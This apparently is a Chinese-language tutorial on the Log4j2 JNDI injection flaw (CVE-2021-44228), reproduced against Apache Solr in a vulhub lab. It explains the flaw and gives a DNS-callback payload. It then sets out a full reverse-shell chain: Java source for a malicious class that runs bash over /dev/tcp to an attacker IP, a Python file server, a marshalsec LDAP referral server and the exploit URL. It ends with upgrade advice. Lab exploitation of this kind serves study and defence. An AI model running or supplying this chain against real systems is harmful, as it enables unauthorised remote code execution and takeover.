- 漏洞原理
- 復現
- 反彈shell
- 漏洞修復
AApache Log4j2 是一個基於Java的日誌記錄工具,被廣泛應用於業務系統開發,開發者可以利用該工具將程式的輸入輸出資訊進行日誌記錄。Log4j2 遠端程式碼執行漏洞編號 CVE-2021-44228。
漏洞原理
漏洞主要由於Log4j2在處理程式日誌記錄時存在 JNDI 入缺陷。JNDI是Java名稱與目錄介面,是一種查詢其他元件、資源或服務的通用機制。利用這個缺陷,透過傳送包含JNDI查詢的惡意資料,觸發Log4j2元件解析缺陷,實現遠端程式碼執行。
Log4j2框架下的 lookup 查詢服務提供了 {} 欄位解析功能,傳進去的值會被直接解析。在lookup的{}裡面構造Payload,呼叫JNDI服務(LDAP、RMI等)獲取惡意的class物件,造成了遠端程式碼執行。
復現
影響版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
環境搭建:使用 vulhub 搭建
cd /vulhub/log4j/CVE-2021-44228
docker compose up -d
訪問 8983 可檢視到 Apache Solr 的後臺頁面:
向 action 引數值傳送利用 JNDI 傳送DNS請求的Payload:
${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}
dnslog 平臺成功收到解析記錄,Payload中的 ${sys:java:version}
被替換為了對應的java版本。
在JNDI介面lookup查詢進行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc}
JNDI就會去對應的服務如LDAP、RMI、DNS查詢資源,上面這個Paylaod就為DNS查詢。
反彈shell
首先需要的在本地編譯一個class檔案,目的是讓靶機遠端載入這個類,執行其中反彈shell的程式碼。
//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class檔案編譯好以後,在class檔案所在目錄啟用一個 python http 服務,讓靶機可以訪問到這個檔案。
python3 -m http.server 2333 # 監聽在2333埠
接著使用 marshalsec 這個專案來啟動一個LADP服務,監聽 1099 埠,並指定載入遠端類檔案:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099
利用JNDI注入呼叫LADP服務來遠端載入這個Shell類,執行反彈shell的程式碼:
http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}
靶機回連到本地LADP服務,Python起的服務端收到請求返回Shell類,執行其中的反彈shell程式碼,kali監聽1234收到反彈shell。
Log4j的利用方式和Fastjson很相似,透過JNDI注入,呼叫LDAP或RMI協議,遠端載入惡意類造成反序列化命令執行。
漏洞修復
升級受影響的應用及元件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。
參考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令執行.md
https://www.freebuf.com/vuls/382838.html
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ